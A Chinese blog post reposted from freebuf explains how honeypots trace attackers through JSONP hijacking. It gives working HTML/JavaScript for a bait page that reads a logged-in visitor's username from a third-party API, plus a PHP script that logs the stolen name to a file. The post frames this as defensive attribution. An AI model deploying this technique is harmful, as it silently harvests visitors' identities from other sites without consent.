蜜罐通过获取第三方信息溯源 – 作者:Yudayhack

蜜罐介绍

蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

那么如何通过第三方接口获取信息,实现跨域资源

接口要求

1、登录过第三方网站,且未退出登录。

2、第三方网站接口能获取敏感信息(账号、ip、邮箱等),且允许跨域资源共享。

大部分使用jsonp接口,这种接口允许允许跨域资源共享。效果相对较好。因此这种攻击又叫JSON Hijacking。

流程实现图

图片[1]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科通过访问站点A获取站点B的网站信息。

过程:访问A网站,获取登录过的B网站信息,再提交到A网站。

本地环境实践

本地搭建测试B站接口,当登录过这个站点显示登录名、没有登录过显示未登录。

登录过B站接口信息:

图片[2]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科

没有登录过B站接口信息:

图片[3]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科

返回的数据是一个jsonp的格式。

搭建蜜罐页面A站代码:

<html>
<head>
<script>
function test(a){
alert(a.name);
}
</script>
<script src='http://login.cn/login/api.php'></script>
</body>
</html>

当登陆B站后访问A站页面:

图片[4]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科未登录B站访问A站页面:

图片[5]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科

可以看到通过A站跨域访问到B站资源。

简单构造接收页面data.php代码:

<?php 
$name=$_GET['name']; 
$fp = fopen('data.txt','a'); 
$flag = fwrite($fp, "用户名:  ".$name."\r\n"); 
?>

再重新修改一下A站页面代码:

<html>
<head>
<script>
function test(a){
    xmlhttp=new XMLHttpRequest()
    var x="./data.php?name="+a.name;
    xmlhttp.open("GET", x, true);
    xmlhttp.send();
}
</script>
<script src='http://login.cn/login/api.php'></script>
</body>
</html>

两次测试,分别登录与没有登录的情况下,记录的数据:

图片[6]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科

真实蜜罐获取情况:图片[7]-蜜罐通过获取第三方信息溯源 – 作者:Yudayhack-安全小百科

总结:

蜜罐里面集成大量第三方接口,如社交、购物、娱乐等平台接口,一旦触发,将会大量信息被截取。慎重!慎重!

来源:freebuf.com 2020-10-13 16:09:04 by: Yudayhack

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论